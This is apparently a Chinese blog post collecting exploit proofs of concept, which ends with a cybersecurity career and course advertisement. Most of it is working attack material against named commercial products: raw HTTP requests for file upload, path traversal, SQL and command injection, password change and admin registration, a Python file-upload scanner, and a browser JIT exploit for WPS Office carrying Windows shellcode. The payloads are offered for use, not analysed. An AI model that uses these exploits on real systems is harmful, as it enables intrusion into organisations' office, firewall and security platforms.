Hvv最新漏洞POC集合——持续更新

Hvv最新漏洞POC集合——持续更新

泛微OA

泛微 OA 代码执行 EXP

描述和影响范围

Weaver E-Office9版本存在代码问题漏洞，该漏洞源于文件/inc/jquery/uploadify/uploadify.php存在问题，对参数Filedata的操作会导致不受限制的上传。

Weaver E-Office9.0

   ``POST /inc/jquery/uploadify/uploadify.php HTTP/1.1``Host: 192.168.232.137:8082``User-Agent: test``Connection: close``Content-Length: 493``Accept-Encoding: gzip``Content-Type: multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85``   ``--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85``Content-Disposition: form-data; name="Filedata"; filename="666.php"``Content-Type: application/octet-stream``   ``<?php phpinfo();?>``   ``--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--``--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85``Content-Disposition: form-data; name="file"; filename=""``Content-Type: application/octet-stream``   ``--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--``   

泛微 Weaver E-Office9 前台文件包含

http://URL/E-mobile/App/Init.php?weiApi=1&sessionkey=ee651bec023d0db0c233fcb562ec7673_admin&m=12344554_../../attachment/xxx.xls``   

网神系列

网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传

POST /?g=obj_app_upfile HTTP/1.1``Host: x.x.x.x``Accept: */*``Accept-Encoding: gzip, deflate``Content-Length: 574``Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc``User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)``   ``------WebKitFormBoundaryJpMyThWnAxbcBBQc``Content-Disposition: form-data; name="MAX_FILE_SIZE"``   ``10000000``------WebKitFormBoundaryJpMyThWnAxbcBBQc``Content-Disposition: form-data; name="upfile"; filename="vulntest.php"``Content-Type: text/plain``   ``<?php php马?>``   ``------WebKitFormBoundaryJpMyThWnAxbcBBQc``Content-Disposition: form-data; name="submit_post"``   ``obj_app_upfile``------WebKitFormBoundaryJpMyThWnAxbcBBQc``Content-Disposition: form-data; name="__hash__"``   ``0b9d6b1ab7479ab69d9f71b05e0e9445``------WebKitFormBoundaryJpMyThWnAxbcBBQc--``木马路径：attachements/xxx.php

→点击获取网络安全资料·攻略←

200多本网络安全系列电子书
网络安全标准题库资料
项目源码
网络安全基础入门、Linux、web安全、攻防方面的视频
网络安全学习路线图

网神 SecSSL 3600安全接入网关系统 任意密码修改

POST /changepass.php?type=2` `   ``Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"test","subAuthId":"1"}``old_pass=&password=Test123!@&repassword=Test123!@``   ``   

深信服系列

深信服 应用交付命令执行

POST /rep/login``Host:URL``clsMode=cls_mode_login%0Als%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123``   

深信服报表 任意读取

GET /report/download.php?pdf=../../../../../etc/passwd HTTP/1.1``Host: xx.xx.xx.xx:85``User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)``Accept: */*``Connection: Keep-Alive``   

绿盟系列

绿盟sas安全审计系统任意文件读取漏洞

/webconf/GetFile/indexpath=../../../../../../../../../../../../../../etc/passwd``   

通达OA（CVE-2023-4166）

描述-影响范围

通达OA

是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是适合各个行业用户的综合管理办公平台

本次范围：通达OA版本11.10之前

POC

post请求包

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1``Host: 192.168.232.137:8098``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8``Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2``Accept-Encoding: gzip, deflate``Connection: close``Cookie: PHPSESSID=1u7tsd1cpgp9qvco726smb50h5; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=779f3f46``Upgrade-Insecure-Requests: 1``   

金山WPS RCE

wps影响范围为：WPS Office 2023 个人版 < 11.1.0.15120

WPS Office 2019 企业版 < 11.8.2.12085

POC

在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的）

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn``   

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系

代码块在底下。（需要原pdf加wechat）

<script>``if(typeof alert === "undefined"){``alert = console.log;``}``let f64 = new Float64Array(1);``let u32 = new Uint32Array(f64.buffer);``function d2u(v) {``f64[0] = v;``return u32;``}``function u2d(lo, hi) {``u32[0] = lo;``u32[1] = hi;``return f64[0];``}``function gc(){ // major``for (let i = 0; i < 0x10; i++) {``new Array(0x100000);``}``}``function foo(bug) {``function C(z) {``Error.prepareStackTrace = function(t, B) {``return B[z].getThis();``};``let p = Error().stack;``Error.prepareStackTrace = null;``return p;``}``function J() {}``var optim = false;``var opt = new Function(``'a', 'b', 'c',``'if(typeof a===\'number\'){if(a>2){for(var``i=0;i<100;i++);return;}b.d(a,b,1);return}' +``'g++;'.repeat(70));``var e = null;``J.prototype.d = new Function(``'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');``J.prototype.a = new Function('a', 'a.b(0,a)');``J.prototype.b = new Function(``'a', 'b',``'b.c();if(a){' +``'g++;'.repeat(70) + '}');``J.prototype.c = function() {``if (optim) {``var z = C(3);``var p = C(3);``z[0] = 0;``e = {M: z, C: p};``}``};``var a = new J();``// jit optim``if (bug) {``for (var V = 0; 1E4 > V; V++) {``opt(0 == V % 4 ? 1 : 4, a, 1);``}``}``optim = true;``opt(1, a, 1);``return e;``}``e1 = foo(false);``e2 = foo(true);``delete e2.M[0];``let hole = e2.C[0];``let map = new Map();``map.set('asd', 8);``map.set(hole, 0x8);``map.delete(hole);``map.delete(hole);``map.delete("asd");``map.set(0x20, "aaaa");``let arr3 = new Array(0);``let arr4 = new Array(0);``let arr5 = new Array(1);``let oob_array = [];``oob_array.push(1.1);``map.set("1", -1);``let obj_array = {``m: 1337, target: gc``};``let ab = new ArrayBuffer(1337);``let object_idx = undefined;``let object_idx_flag = undefined;``let max_size = 0x1000;``for (let i = 0; i < max_size; i++) {``if (d2u(oob_array[i])[0] === 0xa72) {``object_idx = i;``object_idx_flag = 1;``break;``}if (d2u(oob_array[i])[1] === 0xa72) {``object_idx = i + 1;``object_idx_flag = 0;``break;``}``}``function addrof(obj_para) {``obj_array.target = obj_para;``let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;``obj_array.target = gc;``return addr;``}``function fakeobj(addr) {``let r8 = d2u(oob_array[object_idx]);``if (object_idx_flag === 0) {``oob_array[object_idx] = u2d(addr, r8[1]);``}else {``oob_array[object_idx] = u2d(r8[0], addr);``}``return obj_array.target;``}``let bk_idx = undefined;``let bk_idx_flag = undefined;``for (let i = 0; i < max_size; i++) {``if (d2u(oob_array[i])[0] === 1337) {``bk_idx = i;``bk_idx_flag = 1;``break;``}if (d2u(oob_array[i])[1] === 1337) {``bk_idx = i + 1;``bk_idx_flag = 0;``break;``}``}``let dv = new DataView(ab);``function get_32(addr) {``let r8 = d2u(oob_array[bk_idx]);``if (bk_idx_flag === 0) {``oob_array[bk_idx] = u2d(addr, r8[1]);``} else {``oob_array[bk_idx] = u2d(r8[0], addr);``}``let val = dv.getUint32(0, true);``oob_array[bk_idx] = u2d(r8[0], r8[1]);``return val;``}``function set_32(addr, val) {``let r8 = d2u(oob_array[bk_idx]);``if (bk_idx_flag === 0) {``oob_array[bk_idx] = u2d(addr, r8[1]);``} else {``oob_array[bk_idx] = u2d(r8[0], addr);``}``dv.setUint32(0, val, true);``oob_array[bk_idx] = u2d(r8[0], r8[1]);``}``function write8(addr, val) {``let r8 = d2u(oob_array[bk_idx]);``if (bk_idx_flag === 0) {``oob_array[bk_idx] = u2d(addr, r8[1]);``} else {``oob_array[bk_idx] = u2d(r8[0], addr);``}``dv.setUint8(0, val);``}``let fake_length = get_32(addrof(oob_array)+12);``set_32(get_32(addrof(oob_array)+8)+4,fake_length);``let wasm_code = new``Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,``128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,``128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0``,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);``let wasm_mod = new WebAssembly.Module(wasm_code);``let wasm_instance = new WebAssembly.Instance(wasm_mod);``let f = wasm_instance.exports.main;``let target_addr = addrof(wasm_instance)+0x40;``let rwx_mem = get_32(target_addr);``//alert("rwx_mem is"+rwx_mem.toString(16));``const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,``0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,``0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,``0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,``0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,``0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,``0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,``0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,``0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,``0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,``0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,``0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,``0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,``0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,``0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,``0x00]);``for(let i=0;i<shellcode.length;i++){``write8(rwx_mem+i,shellcode[i]);``}``f();``</script>``   

HIKVISION iSecure Center综合安防管理平台文件上传

POC/EXP

python脚本在底下代码块中

   ``#!usr/bin/env python``# *-* coding:utf-8 *-*``import sys``import requests``import string``import random``import urllib3``urllib3.disable_warnings()``   ``proxies = {`    `'http': 'http://127.0.0.1:8080',``    'https': 'http://127.0.0.1:8080', #127.0.0.1:8080 代理，方便burpsuit抓包``}``   ``def run(arg):`    `try:`        `flag=''.join(random.choices(string.ascii_uppercase + string.digits, k = 9))`        `filename=''.join(random.choices(string.ascii_uppercase + string.digits, k = 10))`        `vuln_url=arg+"center/api/files;.js"`        `headers={'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',`                 `'Accept': '*/*',`                 `'Content-Type': 'application/x-www-form-urlencoded'}`        `file = {'file': (f'../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{filename}.txt', flag, 'application/octet-stream')}`        `r = requests.post(vuln_url, files=file, timeout=15, verify=False, proxies=proxies)`        `if r.status_code==200 and "webapps/clusterMgr" in r.text:``   `            `payload=f"clusterMgr/{filename}.txt;.js"`            `url=arg+payload`            `r2 = requests.get(url, timeout=15, verify=False, proxies=proxies)`            `if r2.status_code==200 and flag in r2.text:``   `                `print('\033[1;31;40m')`                `print(arg+f":存在海康威视isecure center 综合安防管理平台存在任意文件上传漏洞\nshell地址：{url}")`                `print('\033[0m')``   ``   ``   `        `else:`            `print(arg+":不存在漏洞")`    `except:`        `print(arg+":不存在漏洞")``   ``   ``if __name__ == '__main__':`    `url=sys.argv[1]`    `run(url)``   

POST请求包``POST /center/api/files;.js HTTP/1.1``Host: x.x.x.x``User-Agent: python-requests/2.31.0``Accept-Encoding: gzip, deflate``Accept: */*``Connection: close``Content-Length: 258``Content-Type: multipart/form-data; boundary=e54e7e5834c8c50e92189959fe7227a4``   ``--e54e7e5834c8c50e92189959fe7227a4``Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/2BT5AV96QW.txt"``Content-Type: application/octet-stream``   ``9YPQ3I3ZS``   

蓝凌OA前台代码执行

POC EXP

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1``Host: www.ynjd.cn:801``User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)``Accept: */*``Connection: Keep-Alive``Content-Length: 42``Content-Type: application/x-www-form-urlencoded``var={"body":{"file":"file:///etc/passwd"}}``   

汉得SRM tomcat.jsp 登录绕过漏洞 POC

/tomcat.jsp?dataName=role_id&dataValue=1

/tomcat.jsp?dataName=user_id&dataValue=1

分别访问后 直接访问后台。

→点击获取网络安全资料·攻略←

200多本网络安全系列电子书
网络安全标准题库资料
项目源码
网络安全基础入门、Linux、web安全、攻防方面的视频
网络安全学习路线图

恒明御运维审计与风险控制系统堡垒机任意用户注册

POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1``Host: xxx``Cookie: LANG=zh; USM=0a0e1f29d69f4b9185430328b44ad990832935dbf1b90b8769d297dd9f0eb848``Cache-Control: max-age=0``Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"``Sec-Ch-Ua-Mobile: ?0``Sec-Ch-Ua-Platform: "Windows"``Upgrade-Insecure-Requests: 1``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9``Sec-Fetch-Site: none``Sec-Fetch-Mode: navigate``Sec-Fetch-User: ?1``Sec-Fetch-Dest: document``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9``Connection: close``Content-Length: 1121``   ``<?xml version="1.0"?>``<methodCall>``<methodName>web.user_add</methodName>``<params>``<param>``<value>``<array>``<data>``<value>``<string>admin</string>``</value>``<value>``<string>5</string>``</value>``<value>``<string>XX.XX.XX.XX</string>``</value>``</data>``</array>``</value>``</param>``<param>``<value>``<struct>``<member>``<name>uname</name>``<value>``<string>deptadmin</string>``</value>``</member>``<member>``<name>name</name>``<value>``<string>deptadmin</string>``</value>``</member>``<member>``<name>pwd</name>``<value>``<string>Deptadmin@123</string>``</value>``</member>``<member>``<name>authmode</name>``<value>``<string>1</string>``</value>``</member>``<member>``<name>deptid</name>``<value>``<string></string>``</value>``</member>``<member>``<name>email</name>``<value>``<string></string>``</value>``</member>``<member>``<name>mobile</name>``<value>``<string></string>``</value>``</member>``<member>``<name>comment</name>``<value>``<string></string>``</value>``</member>``<member>``<name>roleid</name>``<value>``<string>101</string>``</value>``</member>``</struct></value>``</param>``</params>``</methodCall>``   

辰信景云终端安全管理系统 login SQL注入漏洞 POC

POST /api/user/login``captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='``   

用友 移动管理系 统 uploadApk.do 任意文件上传漏洞

POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1 Host: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO 3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server Connection: close ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3 Content-Disposition:form-data;name="downloadpath"; filename="a.jsp" Content-Type: application/msword``hello ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--``   

day消息同步``1海康威视综合安防前台文件上传漏洞``这个洞厂商修复有些问题，还是可以通过...跳转到根目录，换个接口而已``2.蓝凌OA前台代码执行漏洞``蓝凌V131415就不说了，去年代码执行、金格接口打得很凶，今年蓝凌有了大更新之后还是存在很多RCE问题``3.致远M3Server-xxxx反序列化漏洞``懂得都懂``4.致远A8V8SP1SP2文件上传漏洞(1dav)``1day，今年年初修复了很多，ajaxdo接口ajaxAction涉及的文件操作方法还是很多的``5.普元EOS``前台代码执行漏洞，这系统代码执行也太多了不赘述，建议重开6泛微F-coloav后合文件上传漏洞(0dav``从数据库读xxx，然后写到根目录，除了一些流``传的1day之外泛微可以说基本已安全，RASP能``绕也不想耗费精力继续看了，这个洞是针对去年``的前台洞绕过。``7泛微E-Mobile任意用户登录(1day)``Emobile很难做后续利用，不过如果存在信息泄露风险的可以关注下8泛微E-Office10信息泄露后台+后台文件上传漏洞(Oday)很牛的组合漏洞，office9洞太多用的少没必要写了``9契约锁电子签章系统RCE(1day)``上海某行动期间已修复，更新补丁很快，这家签章平台响应速度还是很快的，和泛微ECO经常同框打包卖``10.亿赛通电子文档平台文件上传漏洞市面上的上传1day其实去年补丁都打完了，今年有新的，可以注意下``11.ldocview命令执行漏洞``去年项目挖的，今年还在12jeesite代码执行漏洞Oday，丁真来了都得说真13LiveBOS文件上传漏洞``金融单位供应链，不需要前几年的跳目录了，新``版本灵动框架的上传绕过绕的很emmm``14.用友nc-cloud-任意文件写入(Oday``NCCLOUD今年用过大部分都没修``15.一哥VPN``预计今年二进制漏洞打得也会很凶，端口PWN!``16.xxIOA PWN``零信任不一定真的安全``17.xxx准入PWN``弱口令记得也要修一修``18.深信服应用交付系统命令执行``19.协同办公文档(DzzOfffice)未授权访问``20.电子签章平台代码执行漏洞``21泛微oa进后台漏洞``22.ucloud的未授权获取任意用户cookie``23.飞书客户端RCE漏洞``24.泛微EofficeV10前台RCE``25.来客推商城任意文件上传``26天明堡垒机Oday``27明御运维审计与风险控制系统堡垒机任意用户注册28协同管理系统存在SQL注入29泛微emobile注入漏洞``30.拓尔思WCM任意命令执行漏洞``31.用友财务云任意文件上传漏洞``   

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

• 2023届全国高校毕业生预计达到1158万人，就业形势严峻；

• 国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取